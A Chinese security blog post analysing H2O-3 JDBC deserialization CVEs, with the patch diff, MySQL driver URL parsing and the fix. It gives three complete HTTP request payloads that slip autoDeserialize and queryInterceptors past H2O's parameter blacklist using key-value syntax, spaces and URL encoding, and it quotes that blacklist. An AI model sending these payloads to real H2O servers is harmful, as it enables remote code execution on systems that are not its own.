博客 / 詳情

返回

H2O-3反序列化漏洞分析(CVE-2025-6507&CVE-2025-6544)

image

image

環境搭建

https://h2o-release.s3.amazonaws.com/h2o/rel-3.46.0/7/index.html

image

下載 MySQL 驅動(https://repo1.maven.org/maven2/mysql/mysql-connector-java/8.0.12/mysql-connector-java-8.0.12.jar)並放在在同一目錄下。正確的啓動命令為:

# Windows
java -cp "mysql-connector-java-8.0.12.jar;h2o.jar" water.H2OApp
​
# Linux / Mac
java -cp mysql-connector-java-8.0.12.jar:h2o.jar water.H2OApp
​
#調試啓動命令
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -cp "mysql-connector-java-8.0.12.jar;h2o.jar" water.H2OApp

啓動成功後,訪問 http://localhost:54321 就可以進入 H2O 的 Web 管理界面。

image

漏洞復現

MySQL 5.x 驅動只支持 Query String 格式(?key=value&key2=value2),且對 URL 解析較為嚴格。 MySQL 8.x 驅動引入了更靈活的 URL 解析機制,支持多種格式,並對參數解析有更寬鬆的處理。

  • Key-Value 格式繞過:Key-Value 格式是 MySQL 8.x 才引入的 URL 格式,採用 括號包裹、逗號分隔的方式處理參數。H2O 的正則只匹配 ?​、;​、&後面的參數名,逗號不在匹配範圍之內。

  • 空格繞過:在參數名前添加空格,繞過正則匹配。空格不是字母 [a-z],正則匹配失敗。

  • 編碼繞過:對參數名進行 URL 編碼,使正則無法匹配出參數名。

Key-Value 格式

POST /99/ImportSQLTable HTTP/1.1
Host: 127.0.0.1:54321
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:54321/flow/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 191
​
{
  "connection_url": "jdbc:mysql://(host=127.0.0.1,port=59351, autoDeserialize=true,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,user=deser_CB_calc)/test"
}

image

空格繞過

POST /99/ImportSQLTable HTTP/1.1
Host: 127.0.0.1:54321
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:54321/flow/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 180
​
{
  "connection_url": "jdbc:mysql://127.0.0.1:59351/test? autoDeserialize=true& queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc"
}

image

編碼繞過

POST /99/ImportSQLTable HTTP/1.1
Host: 127.0.0.1:54321
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:54321/flow/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 242
​
{
  "connection_url": "jdbc:mysql://127.0.0.1:59351/test?%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65=true&%71%75%65%72%79%49%6e%74%65%72%63%65%70%74%6f%72%73=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc"
}

image

漏洞分析

第一次補丁鏈接 https://github.com/h2oai/h2o-3/commit/f714edd6b8429c7a7211b779b6ec108a95b7382d

image

water.jdbc.SQLManager#importSqlTable

image

water.jdbc.SQLManager.SQLImportDriver#compute2

image

water.jdbc.SQLManager#getConnectionSafe

image

water.jdbc.SQLManager#validateJdbcUrl

image

private static final Pattern JDBC_PARAMETERS_REGEX_PATTERN = Pattern.compile("(?i)[?;&]([a-z]+)=");
private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = (List)Stream.of(
// MySQL相關危險參數
    "autoDeserialize",            // 允許反序列化
    "queryInterceptors",          // 8.x版本攔截器
    "allowLoadLocalInfile",       // 允許讀取本地文件
    "allowMultiQueries",          // 允許多語句執行
    "allowLoadLocalInfileInPath", 
    "allowUrlInLocalInfile", 
    "allowPublicKeyRetrieval", 
// H2數據庫相關危險參數
    "init",                         // 初始化時執行SQL/腳本
    "script",                       // 執行腳本 
    "shutdown"                      // 關閉數據庫
).map(String::toLowerCase).collect(Collectors.toList());

ConnectionUrlParser 是 MySQL 8.x 驅動中專門負責解析 JDBC URL 的類,所有 URL 解析都從它的構造函數開始。調用 parseConnectionString 提取 connString 各個部分,存儲到實例變量

com.mysql.cj.conf.ConnectionUrlParser#parseConnectionString()

image

CONNECTION_STRING_PTRN = Pattern.compile(
    "(?<scheme>[\\w:%]+)\\s*" +                    // 協議部分
    "(?://(?<authority>[^/?#]*))?\\s*" +           // authority 部分(主機信息)
    "(?:/(?!\\s*/)(?<path>[^?#]*))?" +             // path 部分(數據庫名)
    "(?:\\?(?!\\s*\\?)(?<query>[^#]*))?" +         // query 部分(參數)
    "(?:\\s*#(?<fragment>.*))?"                    // fragment 部分(錨點,很少用)
);

https://regex101.com/

image

image

空格會被包含在 query 中 也被匹配到

【----幫助網安學習,以下所有學習資料免費領!加vx:YJ-2021-1,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客户端安全檢測指南(安卓+IOS)

JDBC URL 支持兩種不同位置放置連接參數:

鏈路一:getHosts() 鏈路:當 MySQL 驅動需要獲取主機連接信息,參數放置在 Authority 部分//後面

getHosts() → parseAuthoritySection() → parseAuthoritySegment() → buildHostInfoResortingToKeyValueSyntaxParser() → processKeyValuePattern() → safeTrim() → decode()

com.mysql.cj.conf.ConnectionUrlParser#parseAuthoritySegment 嘗試多種解析方式

image

處理 (host\=x,port\=x,...) 格式【KEY-VALUE 格式繞過入口】 

com.mysql.cj.conf.ConnectionUrlParser#buildHostInfoResortingToKeyValueSyntaxParser

image

image

image

核心解析邏輯【處理空格+編碼】

com.mysql.cj.conf.ConnectionUrlParser#processKeyValuePattern

image

調用 StringUtils.safeTrim 去除首尾空格 decode 用於URL解碼

【編碼繞過的關鍵】

com.mysql.cj.conf.ConnectionUrlParser#decode

image

MySQL 驅動的 decode() 是單次解碼,所以單次 URL 編碼可以繞過校驗,雙重 URL 編碼不能繞過

 

鏈路二:getProperties() 鏈路:當 MySQL 驅動需要獲取連接參數,參數放置在 Query 部分 ? 之後 getProperties() → parseQuerySection() → processKeyValuePattern() → safeTrim() → decode() com.mysql.cj.conf.ConnectionUrlParser#parseQuerySection

image

image

image

修復方法

private static final Pattern JDBC_PARAMETERS_REGEX_PATTERN = Pattern.compile("(?i)([a-z0-9_]+)\\s*=\\s*");
​
 private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = (List)Stream.of(
// MySQL相關危險參數
    "autoDeserialize",            // 允許反序列化
    "queryInterceptors",          // 8.x版本攔截器
    "allowLoadLocalInfile",       // 允許讀取本地文件
    "allowMultiQueries",          // 允許多語句執行
    "allowLoadLocalInfileInPath", 
    "allowUrlInLocalInfile", 
    "allowPublicKeyRetrieval", 
    "init", 
    "script", 
    "shutdown"
).map(String::toLowerCase).collect(Collectors.toList());

water.jdbc.SQLManager#validateJdbcUrl

image

修復空格繞過

// 舊正則(3.46.0.5 - 有漏洞)
Pattern.compile("(?i)[?;&]([a-z]+)=")
​
// 新正則(3.46.0.8 - 已修復)
Pattern.compile("(?i)([a-z0-9_]+)\\s*=\\s*")

001.png

新正則的匹配規則

Payload: jdbc:mysql://127.0.0.1/test?+autoDeserialize\=true

URL解碼後: jdbc:mysql://127.0.0.1/test? autoDeserialize\=true

                              ↑
​
                              '+' 變成空格

正則: (?i)([a-z0-9_]+)\\s*=\\s*

字符串:test? autoDeserialize=true

掃描整個字符串,尋找所有 “參數名=”的模式

匹配到:autoDeserialize=

    ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
​
    ([a-z0-9\_]+) 捕獲到 "autoDeserialize"

舊思路:從分隔符開始匹配 → 容易被分隔符後的特殊字符串繞過

    `[?;&]([a-z]+)=`
​
     ↑
​
     必須緊跟分隔符

新思路:直接匹配所有“參數名=”模式 → 不依賴分割符位置

     `([a-z0-9_]+)\\s*=`
​
         ↑
​
     匹配任意位置的參數名

額外改進:

  • \\s*=\\s*​ 允許空格,防止 param = value 格式繞過

  • [a-z0-9_] 擴展字符集,覆蓋更多參數名格式

修復編碼繞過

            try {
                for(int i = 0; i < 10; ++i) {
                    previous = jdbcUrlDecode;
                    jdbcUrlDecode = URLDecoder.decode(jdbcUrlDecode, "UTF-8");
                    if (previous.equals(jdbcUrlDecode)) {
                        break;
                    }
                }
            } catch (UnsupportedEncodingException var7) {
                throw new IllegalArgumentException("JDBC URL has wrong encoding");
            }
​
            if (!previous.equals(jdbcUrlDecode)) {
                throw new IllegalArgumentException("JDBC URL contains invalid characters");
​

001.png

通過多次循環解碼,直到解碼後的字符串等於解碼前的字符串(説明已完全解碼),超過十次也強制結束循環。循環結束後會進行比較:如果解碼前後仍不相等(説明10次還沒解完),則拋出異常;如果相等,則使用完全解碼後的字符串進行黑名單檢查,從而避免通過多層 URL 編碼繞過防護。

更多網安技能的在線實操練習,請點擊這裏>>

  

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.